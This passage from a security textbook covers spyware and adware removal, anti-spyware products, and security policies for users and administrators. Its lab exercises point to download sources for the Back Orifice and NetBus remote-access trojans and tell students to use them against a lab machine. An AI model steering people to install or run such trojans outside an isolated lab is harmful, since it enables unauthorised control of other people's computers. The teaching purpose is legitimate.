Both spyware and adware are growing problems for network security and home PC security. This is an important element of computer security software that was at one time largely ignored. Even today, not enough

people take spyware seriously enough to guard against it. Some of these applications simply change your home page to a different site (these are known as home page hijackers); others add items to your favorites (or read items from them). Other applications can be even more intrusive.

Identifying Spyware and Adware

Just as virus and Trojan horse threats eventually became well known to security professionals and hackers, there are certain adware and spyware products that are well known in the computer security community. Being aware of specific real-world adware and spyware and how such applications function will help you to better understand the threats they pose.

Gator

This is a very old example but is still the classic example. Gator is perhaps the most widely known adware product. This product is often distributed by being built into various free software packages you can download from the Internet. Once it is on your computer, you will be inundated with various pop-up ads. This company makes a significant profit from selling the ads they display. Because of this profit, some people have sued anti-spyware companies that specifically target Gator.

The manufacturer of Gator insists that its product is not spyware and will not send information from your computer. However, the number of pop-up ads you are subjected to can range from merely annoying to a significant productivity drain. For example, the Gator-related product Weather Scope uses 16 megabytes of memory itself. It is very easy for various adware products to use up a significant amount of your system's memory, which would produce a noticeable drain on your system's performance.

There are two ways to remove Gator (other than the use of anti-spyware, which may remove it for you automatically):

Method 1: Add/Remove Programs:

- 1.** Right-click the Gator icon in the System Tray and click Exit.
- 2.** Click the Windows Start button, select Settings, and then Control Panel.
- 3.** Select the Add/Remove Programs icon.
- 4.** Find the entry Gator or Gator eWallet in the list of installed programs. Select it and then click the Remove button.

Method 2: The Registry (useful if Method 1 does not work):

- 1.** Right-click the Gator icon in the System Tray and click Exit.
- 2.** Use regedit to open the registry and select the key `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVers`
- 3.** Find the entry CMESys, GMT, or trickler, and right-click it and select Delete.
- 4.** Restart Windows.
- 5.** Open `C:\Program Files\Common Files`. Delete the CMEII and GMT folders.

Either method should rid your computer of this piece of adware. In general, manually removing spyware or adware will often require you to use the task manager to stop the running process. Then you will need to scan the

hard drive to delete the application and use the regedit tool to remove it from the registry. You can see that this is a rather difficult process.

RedSheriff

RedSheriff is spyware, not adware. This product is loaded as a Java applet embedded in a web page you visit. Once you visit the website, this applet will collect information about your visit such as how long the page took to load, how long you stayed, and what links you visited. This information is sent to the parent company. A number of Internet service providers have begun including RedSheriff on their start pages, which are programmed to load every time the user logs on to the Internet. The problem with RedSheriff is twofold:

- No one (except the manufacturer) is really certain what data is collected or how it is used.
- Many people have a negative reaction to anyone monitoring their website usage habits.

The RedSheriff program is marketed as a reporting tool to measure how visitors use a website. You can view the vendor's own comments at its website at http://cexx.org/cache/redsheriff_products.html.

Anti-Spyware

Most antivirus products include anti-spyware. However, you can purchase dedicated anti-spyware software. Anti-spyware is an excellent way to defend against spyware and adware, just as antivirus software defends against viruses and Trojan horses. Essentially, it is software that scans your computer to check for spyware running on your machine. Most anti-spyware works by checking your system for known spyware files. It is difficult to identify specific activities that identify spyware, as you can with viruses. Each application must simply be checked against a list of known spyware. This means that you must maintain some sort of subscription service so that you can obtain routine updates to your spyware definition list.

In today's Internet climate, running anti-spyware is as essential as running antivirus software. Failing to do so can lead to serious consequences. Personal data and perhaps sensitive business data can easily leak out of your organization without your knowledge due to spyware. You should also keep in mind that it is entirely possible for spyware to be the vehicle for purposeful industrial espionage. In this section we will examine a few popular anti-spyware utilities.

FYI: Anti-Adware

You are unlikely to find any software specifically designed to detect and remove adware. Most vendors group adware and spyware together, so most anti-spyware solutions also scan for adware.

Spy Sweeper

This product is available at www.Webroot.com. The vendor offers enterprise-wide anti-spyware solutions as well as solutions for individual PCs. Most importantly you can download the software for free, but you will need to register it (and pay for it) in order to get updated spyware definitions. In addition to allowing scanning of your system, Spy Sweeper gives you real-time monitoring of your browser and downloads, and warns you of any changes. For example, if there is a change to your home page, Spy Sweeper asks you to confirm that change before it is committed.

This product's greatest advantage, however, is that it is simple and easy to use. If the person using the software is a novice, then Spy Sweeper is an excellent choice. Let's examine just a few features so you can see how it works. The initial screen, shown in [Figure 10-5](#), makes it easy for the novice user to sweep, view quarantined items, update the software, and perform other tasks.




FIGURE 10-5 The Spy Sweeper opening screen

When you run the sweep, you see an ongoing, real-time report of what is taking place. This is shown in [Figure 10-6](#). This report tells you how many spyware definitions the application is testing for, how far along it is in the process, and what has been found so far.

Once the sweep is done, the suspect programs/files are identified, and you can elect to restore them, delete

them, or quarantine them. Spy Sweeper does not automatically delete them. This is a beneficial feature, as it prevents the accidental deletion of items that might have been misidentified as spyware.




FIGURE 10-6 The Spy Sweeper sweeping process

Another interesting feature of Spy Sweeper is the various shields it provides, shown in [Figure 10-7](#). These shields can prevent changes to your Internet Explorer home page, favorites, Windows startup, programs in

memory, and more. Most spyware and adware programs will attempt to alter one or more of these items. These shields require your direct approval before any such change can be made.




FIGURE 10-7 Spy Sweeper shields

Zero Spyware

Zero Spyware is similar in function to Spy Sweeper. Like Spy Sweeper, it offers a free trial version that you can download from the company's website. Unlike the other anti-spyware options we have examined, this one has not received much press attention. Also, as you can see in [Figure 10-8](#), its trial version is limited. It does not offer the home page shield or adware shield that the other options offer. It also has fewer scanning options.




FIGURE 10-8 Zero Spyware screen

One advantage of Zero Spyware is that it includes a system diagnostics utility not found in the other anti-spyware software packages we have examined. This utility places its results in a web page, making them easy to view or display.

Table 10-2 offers a brief comparison of the two top anti-spyware packages. Each feature is rated on a scale of one to five, with five being the best.

Creating a grid like this can be useful whenever you are evaluating any type of security product. Assigning values to various features and then comparing the total score (as well as most important features) can help you decide which product is right for you.

TABLE 10-2 Comparing Anti-spyware

	Spy Sweeper	Zero Spyware
Price	3	3
Shields	5	3
Spyware definitions	5	4
Trial version options	5	2
System diagnostics	2	5

Researching and Comparing Anti-Spyware Products

As with antivirus, firewall, and other security products, there are many anti-spyware alternatives from which to choose. The following websites provide either anti-spyware or reviews of anti-spyware software you can use to help you evaluate the various products. Most products are priced from \$19.95 to \$39.95, and many have free trial editions you can download.

- PCMag best anti-spyware of 2018:

<https://www.pcmag.com/roundup/354515/the-best-spyware-protection-security-software>

- IEEE “Comparing anti-spyware products”:

<http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=6030154&url=http%3A%2F%2Fieeexplore.ieee.org%2F>

- Digital Trends best free antivirus (which also includes spyware):

<https://www.digitaltrends.com/computing/best-free-antivirus-software/>

This list is not comprehensive. A simple web search will find a host of anti-spyware products. However, these are the more commonly used products and you should

probably begin your exploration of anti-spyware with them.

Anti-Spyware Policies

As with all aspects of computer security, appropriate policies must be in place in order to protect your system against spyware and adware. Many of these policies are the same as the policies that protect your system from Trojan horses and virus infections.

- Never download any attachment unless you are completely certain it is safe. This means that unless you specifically requested an attachment, or at least expected one, and unless that attachment matches what you expected (i.e., is named appropriately, right format, etc.) do not download it.
- Make sure your browser is configured to block cookies, or at most to allow cookies for only a very limited time. Cookies store information from a particular website, but any website you visit can read any cookie on your machine.
- Your browser should be configured to block scripts that run without the user's awareness.
- Some browsers (e.g., Chrome and Mozilla) also offer pop-up blocking. Pop-up ads are often a vehicle for adware. Blocking such ads is critical.

- Never download any application, browser skin, screen saver, or utility from the Internet unless you are completely certain of its safety.
- Block Java applets, or at least require that the user manually approve them before loading. This will stop RedSheriff and many other spyware utilities.

SUMMARY

Both Trojan horses and spyware pose significant dangers to your network. Trojan horses and viruses frequently overlap (i.e., a virus may install a Trojan horse). Virus scanners and appropriate policies are your only protection against Trojan horses. For this reason it is particularly important that you carefully develop and implement your anti-Trojan horse policies.

Spyware and adware are growing problems for computer systems. Spyware can compromise security by revealing details of your system or confidential data on the system. Adware is mostly a nuisance rather than a direct security threat. However, as your computer becomes infected with more adware, such programs can eventually drain your system's resources until your system becomes completely unusable.

You can protect yourself against adware and spyware

with a combination of anti-spyware utilities and appropriate policies. There are several anti-spyware tools available, many of which were examined in this chapter.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. Which of the following are the two most common things Trojan horse programs do?
 - A. Launch DDoS attacks and open back doors
 - B. Install spyware and launch Ping of Death attacks
 - C. Delete registry keys and alter system files
 - D. Hijack the home page and delete registry keys
2. What does Back Orifice do to a system?
 - A. Deletes or corrupts Microsoft Office applications
 - B. Installs a virus on the infected system
 - C. Provides a remote user complete administrative access to the machine
 - D. Launches a DDoS at Microsoft sites

- 3.** Which of the following is the most insidious aspect of Back Orifice?
- A.** It is small.
 - B.** It spreads via e-mail.
 - C.** It appears to be a legitimate program.
 - D.** It does not show up in the task list.
- 4.** How did Shedun spread?
- A.** As a Windows update
 - B.** As a legitimate Android app
 - C.** As an iOS update
 - D.** As an antivirus program
- 5.** What effect did the util-linux Trojan horse of 1999 have?
- A.** It sent out login information of users logging in.
 - B.** It deleted or corrupted the registry.
 - C.** It opened up port 1294 for a hacker to use.
 - D.** It used IRC to open a back door to the machine.
- 6.** Which of the following most accurately explains why minimum necessary privileges for a user help protect against Trojan horses?

- A.** If a user cannot remove programs, then he cannot remove anti-spyware and antivirus software accidentally.
- B.** If the user cannot install programs, it is less likely that he will install a Trojan horse.
- C.** If the user cannot install programs, it is completely impossible that he will install a Trojan horse.
- D.** If the user cannot remove programs, he cannot alter the security settings you have put on his machine.

7. Why are hidden file extensions a security threat?

- A.** Users might download an image that is really a malicious executable.
- B.** Users cannot properly organize their systems without knowing accurate file extensions.
- C.** Virus scanners have trouble with files whose extensions are hidden.
- D.** Hidden extensions almost always indicate a worm.

8. What was Gator?

- A.** Adware that was downloaded automatically when you visited certain websites
- B.** Adware that was often attached to free

programs found on the Internet

- C.** Spyware that gathered information about you when you visited a website
- D.** Spyware that gets banking information from your hard drive

9. What is RedSheriff?

- A.** Adware that is downloaded automatically when you visit certain websites
- B.** Adware that is often attached to free programs found on the Internet
- C.** Spyware that gathers information about you when you visit a website
- D.** Spyware that gets banking information from your hard drive

10. Manually removing spyware usually requires all but which of the following actions?

- A.** Formatting the hard drive
- B.** Removing keys from the registry
- C.** Reinstalling Windows
- D.** Reinstalling antivirus software

11. Why is blocking pop-up ads good for security?

- A.** Pop-up ads reduce productivity.

- B.** Pop-up ads can be a vehicle for hackers to get into your system.
 - C.** Pop-up ads can be a vehicle for spyware or adware to get into your system.
 - D.** Pop-up ads can corrupt memory on your system.
- 12.** Which of the following is the most likely reason you might wish to restrict Java applets?
- A.** Java applets can easily be modified to act as spyware.
 - B.** Java applets can delete files on your hard drive.
 - C.** Java applets usually contain viruses.
 - D.** Java applets serve no useful purpose other than virus delivery.
- 13.** Why would you want to restrict cookies?
- A.** Cookies consume system memory.
 - B.** Cookies take up hard drive space.
 - C.** Any website can read any cookie.
 - D.** Cookies are often infected with a virus.

EXERCISES

EXERCISE 10.1: Back Orifice

1. Obtain Back Orifice using one of the following websites:

- <http://www.cultdeadcow.com/tools/bo.html>
- www.cultdeadcow.com/tools/bo.html

2. Install it on a lab computer.
3. Use the remote administration features to alter the target system.

EXERCISE 10.2: NetBus

1. Obtain NetBus using one of the following websites:

- <https://packetstormsecurity.com/search/files/?q=netbus%201.70%20zip>
- <http://msantoshkumar.blogspot.com/2012/12/netbus-v16-download.html>

2. Install it on a lab computer.
3. Use the remote administration features to alter the target system.

EXERCISE 10.3: Spy Sweeper

1. Download Spy Sweeper onto a lab machine

(preferably the one with Gator, Back Orifice, etc.).

2. Run the program and note what items it detects, but do not delete them.

PROJECTS

PROJECT 10.1: Impact of Trojan Horses

Using the web or other resources find out the following facts:

1. How common are Trojan horse attacks?
2. What effects do these have on businesses?
3. What steps do you recommend to help reduce the threat of Trojan horse attacks?

PROJECT 10.2: Impact of Spyware and Adware

Using the web or other resources, find out the following facts:

1. How common are spyware and adware?
2. What effects do these have on businesses?
3. What steps do you recommend to help reduce the threat of spyware and adware?

PROJECT 10.3: Using Alternative Anti-spyware

- 1.** Download one alternative anti-spyware product (i.e., one we have not examined thoroughly in this chapter).
- 2.** Install it on a lab machine and run it.
- 3.** Compare the results to what you got with Spy Sweeper.

Chapter 11

Security Policies

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Create effective user policies.
- Outline effective system administration policies.
- Define effective access control.
- Generate effective developmental policies.

INTRODUCTION

Throughout this book we have occasionally mentioned the topic of policies; however, our primary focus has been on security technology. Unfortunately technology alone is not a panacea for network security problems. One reason is that technology cannot be effective if people do not follow appropriate procedures. Examples of this include:

- Virus software won't prevent a user from manually opening an attachment and releasing a virus.
- A technologically secured network is still very vulnerable if former employees (perhaps some unhappy with the company) still have working passwords or if passwords are simply put on Post-it notes on computer monitors.
- A server is not secure if it is in a room to which virtually everyone in the company has access.

Another reason that technology alone is not the answer is that technology must be appropriately applied. Policies can effectively guide you as you implement and manage security, including security technology. In this chapter we will examine computer security policies, including the elements for creating good security policies and examples of how to establish a network security policy.

DEFINING USER POLICIES

In Chapter 1, “Introduction to Network Security,” we mentioned that misuse of systems is a major problem for many organizations. A large part of the problem comes from the difficulty in defining what exactly misuse is. Some things might be obvious misuse, such as using company time and computers to search for another job or to view illicit websites. However, other areas are not so clear, such as an employee using her lunchtime to look up information about a car she is thinking of buying. Generally, good user policies outline specifically how people may use systems and how they may not. For a policy to be effective it needs to be very clear and quite specific. Vague statements such as “computers and Internet access are only for business use” are simply inadequate.

Every organization must have specific policies that will be applied fairly across the organization. In the previous example, using a general statement of “computers and Internet access are only for business use” can be problematic. Assume you have an employee who occasionally takes just a few minutes to check home e-mail with the company computer. You decide that this is acceptable, and choose not to apply the policy. Later another employee spends two to three hours per day surfing the Net and you fire him for violating company

policy. That employee might sue the company for wrongful termination.

Other areas for potential misuse are also covered by user policies, including password sharing, copying data, leaving accounts logged on while employees go to lunch, and so on. All of these issues ultimately have a significant impact on your network's security and must be clearly spelled out in your user policies. We will now examine several areas that effective user policies must cover:

- Passwords
- Internet use
- E-mail attachments
- Software installation and removal
- Instant messaging
- Desktop configuration

Passwords

Keeping passwords secure is critical. In Chapter 8, “Operating System Hardening,” appropriate passwords were discussed as part of operating system hardening. You should recall that a good password has in the past been defined as one that is six to eight characters long, uses numbers and special characters, and has no obvious relevance to the end user. For example, a Dallas Cowboys fan would be ill-advised to use a password like “cowboys” or “godallas,” but might be well advised to use a password like “%trEe987” or “123DoG\$\$” because those do not reflect the person’s personal interests and therefore will not be easily guessed. Issues such as minimum password length, password history, and password complexity come under administrative policies, not user policies. Those complexity requirements are still good recommendations. However, you should consider longer passwords, such as those 12 characters or longer. User policies dictate how the end user should behave. Later in this chapter we will discuss passphrases.

However, no password is secure, no matter how long or how complex, if it is listed on a Post-it note stuck to the user’s computer monitor. This may seem obvious, but it is not at all uncommon to go into an office and find a

password either on the monitor or in the top drawer of the desk. Every janitor or anyone who simply passes by the office can get that password.

It is also not uncommon to find employees sharing passwords. For example, Bob is going to be out of town next week, so he gives Juan his password so that Juan can get into his system, check e-mail, and so on. The problem is that now two people have that password. And what happens if, during the week Bob is gone, Juan gets ill and decides he will share the password with Shelly so she can keep checking that system while Juan is out sick? It does not take long for a password to get to so many people that it is no longer useful at all from a security perspective.

Issues like minimum length of passwords, password age, password history (all mentioned in Chapter 8 on operating system hardening) are issues of administrative policies. System administrators can force these requirements. However, none of that will be particularly helpful if the users do not manage their passwords in a secure fashion.

All of this means you need explicit policies regarding how users secure their passwords. Those policies should specify:

- Passwords are never to be kept written down in any

accessible place. The preference is that they not be written down at all, but if they are, they should be in a secure area such as a lock box at the user's home (i.e., not in the office right next to your computer).

- Passwords must never be shared with any person for any reason.
- If an employee believes his password has been compromised, he should immediately contact the IT department so that his password can be changed and so that logon attempts with the old password can be monitored and traced.

I recommend people choose a passphrase, something like ILikeCheeseBurgers, and then change the e's to 3's and use some capitalization. Perhaps add a symbol so it becomes #ILik3Ch33s3Burg3rs. This is a very secure password. It can be remembered and it has complexity and length.

The complexity requirements prevent dictionary attacks (using words from a dictionary) and guessing. But you might be wondering why a long password is so important. The reason has to do with how passwords are stored. In Windows when you select a password, that password is stored in hashed format in a SAM file. Now remember from Chapter 6, "Encryption Fundamentals,"

that a hash cannot be undone. So when you log in, Windows will hash whatever you type in and compare it to what's in the SAM file. If they match, you are in.

Hashing passwords leads to the use of an interesting hacking technique called the rainbow table. A rainbow table contains all the possible hashes of all the key combinations that might have been used in a password, up to a given size. For example, all the single-character combinations are hashed, all the two-character combinations are hashed, and so on up to some finite limit (often 8 to 10 characters). If you get the SAM file then you can search the rainbow table for any matches. If you find a match, then the associated plaintext must be the password. Tools such as OphCrack boot into Linux and then run a rainbow table against the SAM file. However, larger rainbow tables are cumbersome. No current rainbow tables can handle passphrases of 20 characters or more.

You can find a good reference for this discussion at <http://www.passwordanalytics.com/theory/security/rainbow-table.php>.

Internet Use Policy

Most organizations provide users with some sort of Internet access. There are several reasons for this. The most obvious reason is e-mail. However, that is hardly the only reason to have Internet access in a business or academic setting. There is also the web, and even chat rooms. All of these can be used for legitimate purposes within any organization but can also be serious security problems. Appropriate policies must be in place to govern the use of these technologies.

The web is a wonderful resource for a tremendous wealth of data. Throughout this book we have frequently referenced websites where one can find valuable security data and useful utilities. The Internet is also replete with useful tutorials on various technologies. However, even nontechnology-related business interests can be served via the web. Here are a few examples of legitimate business uses of the web:

- Sales staff checking competitors' websites to see what products or services they offer in what areas, perhaps even getting prices
- Creditors checking a business's AM Best or Standard and Poor's rating to see how their business financial rating is doing

- Business travelers checking weather conditions and getting prices for travel

Of course, other web activities are clearly not appropriate on a company's network:

- Using the web to search for a new job
- Any pornographic use
- Any use which violates local, state, or federal laws
- Use of the web to conduct employee's own business (i.e., an employee who is involved in another enterprise other than the company's business, such as eBay)

In addition, there are gray areas. Some activities might be acceptable to some organizations but not to others. Such activities might include:

- Online shopping during the employee's lunch or break time
- Reading news articles online during lunch or break time
- Viewing humorous websites

What one person might view as absurdly obvious might not be to another. It is critical that any organization have very clear policies detailing specifically what is and

what is not acceptable use of the web at work. Giving clear examples of what is acceptable use and what is not is also important. You should also remember that most proxy servers and many firewalls can block certain websites. This will help prevent employees from misusing the company's web connection.

E-mail Attachments

Most business and even academic activity now occurs via e-mail. As we have discussed in several previous chapters, e-mail also happens to be the primary vehicle for virus distribution. This means that e-mail security is a significant issue for any network administrator.

FYI: E-mail Communications

Some people might still not fully grasp the extent and usefulness of e-mail communications. Many people today are working entirely or partially from home. Courses, and in fact entire degree programs, are offered on the Internet. Business associates in diverse geographical areas need to communicate. E-mail provides a way to send technical data, business documents, homework assignments, and more. More importantly, from a business/legal perspective, it

provides a record of all communication. For many situations, e-mail is clearly far superior to phone communications.

As a case in point, the author of this book has never met anyone from the publishing company nor even his own agent in person. Except for a few brief phone calls, all communication pertaining to writing and producing this book has been done entirely via e-mail. Much of this involved e-mailing documents and images as attachments. This illustrates the growing importance of e-mail as an avenue for both academic and business communications.

Finding accurate statistics on office e-mail use is difficult. However, if you enter any office in any type of organization and ask any employee about the amount of business e-mail traffic they receive, you will probably find the amount to be quite large. The proportion of e-mail communication to other communication such as phone and fax is likely to continue to increase.

Clearly you cannot simply ban all e-mail attachments. However, you can establish some guidelines for how to handle e-mail attachments. Users should open an attachment only if it meets the following criteria:

- It was expected (i.e., the user requested documents

from some colleague or client).

- If it was not expected, it comes from a known source. If so, first contact that person and ask whether they sent the attachment. If so, open it.
- It appears to be a legitimate business document (that is, a spread sheet, a document, a presentation, etc.).

It should be noted that some people might find such criteria unrealistic. There is no question they are inconvenient. However, with the prevalence of viruses, often attached to e-mail, these measures are prudent. Many people choose not to go to this level to try to avoid viruses, and that may be your choice as well. Just bear in mind that millions of computers are infected with some sort of virus every single year.

No one should ever open an attachment that meets any of the following criteria:

- It comes from an unknown source.
- It is some active code or executable.
- It is an animation/movie.
- The e-mail itself does not appear legitimate. (It seems to entice you to open the attachment rather than simply being a legitimate business communication that happens to have an

attachment.)

If the end user has any doubt whatsoever, then she should not open the e-mail. Rather, she should contact someone in the IT department who has been designated to handle security. That person can then either compare the e-mail subject line to known viruses or can simply come check out the e-mail personally. Then if it appears legitimate, the user can open the attachment.

FYI: About Attachments

The author of this book frequently follows the “better safe than sorry” axiom on this matter. This means that when forwarded some joke, image, Flash animation, and so on circulating the Internet, I simply delete it. That may mean that I miss many humorous images and stories, but it also means I miss many viruses. You would do well to consider emulating this practice.

Software Installation and Removal

This is one matter that does have an absolute answer. End users should not be allowed to install anything on their machine, including wall papers, screen savers, utilities—anything. The best approach is to limit their administrative privileges so they cannot install anything. However, this should be coupled with a strong policy statement prohibiting the installation of anything on users' PCs. If they wish to install something, it should first be scanned by the IT department and approved. This process might be cumbersome, but it is necessary. Some organizations go so far as to remove media drives (optical drive, USB, etc.) from end users' PCs so installations can occur only from files that the IT department has put on a network drive. This is usually a more extreme measure than most organizations will require, but it is an option you should be aware of.

Instant Messaging

Instant messaging is also widely used and abused by employees in companies and organizations. In some cases instant messaging can be used for legitimate business purposes. However, it does pose a significant security risk. There have been viruses that propagated specifically via instant messaging. In one incident the virus would copy everyone on the user's buddy list with the contents of all conversations. Thus, a conversation the user thought was private was being broadcast to everyone with whom that user had messaged.

Instant messaging is also a threat from a purely informational security perspective. Without the traceability of an e-mail going through the corporate e-mail server, nothing stops an end user from instant messaging out trade secrets or other confidential information undetected. It is recommended that instant messaging simply be banned from all computers within an organization. If you find your organization absolutely must use it, then you must establish very strict guidelines for its use, including:

- Instant messaging may be used only for business communications, no personal conversations. Now this might be a bit difficult to enforce. Rules like this often are. More common rules, such as

prohibiting personal web browsing, are also quite difficult to enforce. However, it is still a good idea to have those rules in place. Then if you find an employee violating them, you can refer to a company policy that prohibits such actions. However, you should be aware that in all likelihood you will not catch most violations of this rule.

- No confidential or private business information should be sent via instant messaging.

Desktop Configuration

Many users like to reconfigure their desktop. This means changing the background, screen saver, font size, resolution, and so on. Theoretically speaking, this should not be a security hazard. Simply changing a computer's background image cannot compromise the computer's security. However there are other issues involved.

The first issue is where the background image comes from. Frequently end users download images from the Internet, creating an opportunity for getting a virus or Trojan horse, particularly one using a hidden extension (e.g., it appears to be a mypic.jpg but is really mypic.jpg.exe). There are also human resources/harassment issues if an employee uses a backdrop or screen saver that is offensive to other

employees. Some organizations simply decide to prohibit any changes to the system configuration for this reason.

The second problem is technical. In order to give a user access to change screen savers, background images, and resolution, you must give her rights that also allow her to change other system settings you might not want changed. The graphical display options are not separated from all other configuration options. This means that allowing the user to change her screen saver might open the door for her to alter other settings that would compromise security (such as the network card configuration or the Windows Internet connection firewall).

Termination or Expulsion

Any policy that can lead to expulsion from a school or termination from a job (or even a demotion) should first be cleared by your legal advisor and/or human resources department. There can be significant legal ramifications for wrongful termination or expulsion. The author of this book is neither an attorney nor an expert in legal matters and cannot provide you with legal advice. It is imperative that you do consult an attorney about these matters.

Bring Your Own Device (BYOD)

Bring Your Own Device (BYOD) has become a significant issue for most organizations. Most, if not all, of your employees will have their own smart phones, tablets, smart watches, and Fitbits, etc. that they will most likely carry with them into the workplace. When they connect to your wireless network, this introduces a host of new security concerns. You have no idea what networks those devices previously connected to, what software was installed on them, or what data might be exfiltrated by these personal devices.

In highly secure environments, the answer may be to forbid personally owned devices. However, in many organizations, such a policy is impractical. A workaround for that is to have a Wi-Fi network that is dedicated to BYOD and is not connected to the company's main network. Another approach, albeit more technologically complex, is to detect the device on connection, and if it is not a company-issued device, significantly limit its access.

There are also alternatives to BYOD. For example, Choose Your Own Device (CYOD) is a policy wherein the company allows the employee to bring their own device, but only if that device is from a list of pre-

approved devices. This gives the company some control over what the user is connecting to the company network.

COPE, or Company Owned and Provided Equipment, is another option. In this scenario, the company provides the device, and has complete control over it. However, this can become an issue when the employee uses a device for both personal and professional purposes, not to mention the expense of providing employees with devices, then maintaining those devices.

Whatever approach you take, you must have some policy regarding personal devices. They are already ubiquitous and spreading even more. Just a few years ago smart phones were really the only BYOD device. But today there are smart watches, smart luggage, etc., and it is difficult to predict what new devices might be coming in the future.

Final Thoughts on User Policies

This section has provided an overview of appropriate and effective user policies. It is critical that any organization implement solid user policies. However, these policies will not be effective unless you have clearly defined consequences for violating them. Many organizations find it helpful to spell out specific consequences that escalate with each incident such as:

- The first incident of violating any of these policies will result in a verbal warning.
- A second incident will result in a written warning.
- The third incident will result in suspension or termination (in academic settings, this would be suspension or expulsion).

You must clearly list the consequences, and all users should sign a copy of the user policies upon joining the organization. This prevents anyone claiming they were not aware of the policies. It is also a good idea to re-acquaint employees with the policies from time to time, particularly if a policy changes.

It is also important to realize that there is another cost to misuse of corporate Internet access. That cost is lost productivity. How much time does the average

employee spend reading personal e-mail, doing nonbusiness web activities, or instant messaging? It is hard to say. However, for an informal view, go to www.yahoo.com on any given business day during business hours, and click on one of the news stories. At the bottom of the story you will see a message board for this story. It lists the dates and times of posts. See how many posts are done during business hours. It is unlikely that all of the people posting these messages are out of work, retired, or at home sick.

The question becomes, who creates the policies? Is it strictly management? The IT department? Ideally a committee consisting of human resources and IT, with input from legal, and approval from upper management, will set policies. Policies must be carefully thought out.

DEFINING SYSTEM ADMINISTRATION POLICIES

In addition to determining policies for users, you must have some clearly defined policies for system administrators. There must be a procedure for adding users, removing users, dealing with security issues, changing any system, and so on. There must also be procedures for handling any deviation.

New Employees

When a new employee is hired, the system administration policy must define specific steps to safeguard company security. New employees must be given access to the resources and applications their job functions require. The granting of that access must be documented (possibly in a log). It is also critical that each new employee receive a copy of the company's computer security/acceptable use policies and sign a document acknowledging receipt of such.

Before a new employee starts to work, the IT department (specifically network administration) should receive a written request from the business unit for which that person will be working. That request should specify exactly what resources this user will need and when she will start. It should also have the signature of someone in the business unit with authority to approve such a request. Then, the person who is managing network administration or network security should approve and sign the request. After you have implemented the new user on the system with the appropriate rights, you can file a copy of the request.

Leaving Employees

When an employee leaves, it is critical to make sure all of his logins are terminated and all access to all systems is discontinued immediately. Unfortunately, this is an area of security that all too many organizations do not give enough attention to. When an employee leaves, you cannot be certain which employee will bear the company ill will and which will not. It is imperative to have all of the former employee's access shut down on his last day of work. This includes physical access to the building. If a former employee has keys and is disgruntled, nothing can stop him from returning to steal or vandalize computer equipment. When an employee leaves the company, you should ensure that on his last day the following actions take place:

- All logon accounts to any server, VPN, network, or other resource are disabled.
- All keys to the facility are returned.
- All accounts for e-mail, Internet access, wireless Internet, cell phones, etc., are shut off.
- Any accounts for mainframe resources are cancelled.
- The employee's workstation hard drive is searched.

The last item might seem odd. But if an employee was gathering data to take with him (proprietary company data) or conducting any other improper activities, you need to find out right away. If you do see any evidence of any such activity, you need to secure that workstation and keep it for evidence in any civil or criminal proceedings.

All of this might seem a bit extreme to some readers. It is true that with the vast majority of exiting employees, you will have no issues of concern. However, if you do not make it a habit of securing an employee's access when he departs, you will eventually have an unfortunate situation that could have been easily avoided.

Change Requests

The nature of IT is change. Not only do end users come and go, but requirements change frequently. Business units request access to different resources, server administrators upgrade software and hardware, application developers install new software, web developers change the website, and so on. Change is occurring all of the time. Therefore, it is important to have a change control process. This process not only makes the change run smoothly but allows the IT security personnel to examine the change for any potential security problems before it is implemented. A change control request should go through the following steps:

- An appropriate manager within the business unit signs the request, signifying approval.
- The appropriate IT unit (database administration, network administrator, e-mail administrator, and so on) verifies that the request is one they can fulfill (from both a technological and a budgetary/business perspective).
- The IT security unit verifies that this change will not cause any security problems.
- The appropriate IT unit formulates a plan to implement the change and a plan to roll back the

change in the event of some failure.

- The date and time for the change is scheduled, and all relevant parties are notified.

Your change control process might not be identical to this one; in fact, yours might be much more specific. However, the key to remember is that in order for your network to be secure, you simply cannot have changes happening without some process for examining their impact prior to implementing them.

In Practice

Extremes of Change Control

Anyone with even a few years of experience in the IT profession can tell you that when it comes to change control there are all sorts of different approaches. The real problem is those IT groups that implement unreasonable extremes. This author has personally seen both. Without using the real names of the companies involved, let's examine a real case of each extreme:

Software consultant's company X was a small company that did custom financial applications for various companies. They had a staff of fewer than twenty developers, who frequently traveled to client

locations around the country. They literally had

- No documentation for any of their applications, not even a few notes.
- No change control process at all. When someone did not like a setting on a server or some part of the network configuration, they simply changed it.
- No process for handling former employee access. In one case a person had been gone for six months and still had a valid logon account.

Now clearly this is alarming from several perspectives, not just from a security viewpoint. However, that is one extreme, one that makes for a very chaotic environment that is very insecure. Security-minded network administrators tend to move towards the opposite extreme, one which can have a negative impact on productivity.

Company B had more than 2,000 employees and an IT staff of about 100 people. In this company, however, the bureaucracy had overwhelmed the IT department to the point that their productivity was severely impacted. In one case, the decision was made that a web server administrator also needed database administration rights on a single database server. The process, however, took three months with one face-to-face meeting between his manager

and the CIO, as well as two phone conferences and a dozen e-mails between his manager and the manager of the database group.

The company's convoluted change control process had a severely negative impact on productivity. Some employees informally estimated that even the low level IT supervisors spent 40 percent of their time in meetings/conferences, reporting on meetings/conferences, or preparing for meetings/conferences. And the further one went up the IT ladder, the more of one's time became consumed by bureaucratic activities.

Both of these examples are meant to illustrate two extremes in change control management that you should try to avoid. Your goal in implementing change control management is simply to have an orderly and safe way of managing change, not to be an impediment to productivity.

Security Breaches

Unfortunately, the reality is that your network will probably, at some point, have a security breach of some kind. This could mean that you are the target of a DoS attack, your system is infected with a virus, or a hacker gains entrance and destroys or copies sensitive data. You must have some sort of plan for how to respond should any such event occur. This book cannot tell you specifically how to deal with each and every event that might occur, but we can discuss some general guidelines for what to do in certain, general situations. We will look at each of the main types of security breaches and what actions you should take for each.

Virus Infection

When a virus strikes your system, immediately quarantine the infected machine or machines. This means literally unplugging the machine(s) from the network. If it is a subnet, then unplug its switch. Isolate the infected machines (unless your entire network is infected, in which case simply shut down your router/ISP connection to close you off from the outside world and prevent spread beyond your network). After implementing the quarantine, you can safely take the following steps:

- Scan and clean each and every infected machine.
Because they are now off the network, this will be a manual scan.
- Log the incident, the hours/resources taken to clean the systems, and the systems that were affected.
- When you are certain the systems are clean, bring them online in stages (a few at a time). With each stage check all machines to see that they are patched, updated, and have properly configured/running antivirus.
- Notify the appropriate organization leaders of the event and the actions you have taken.
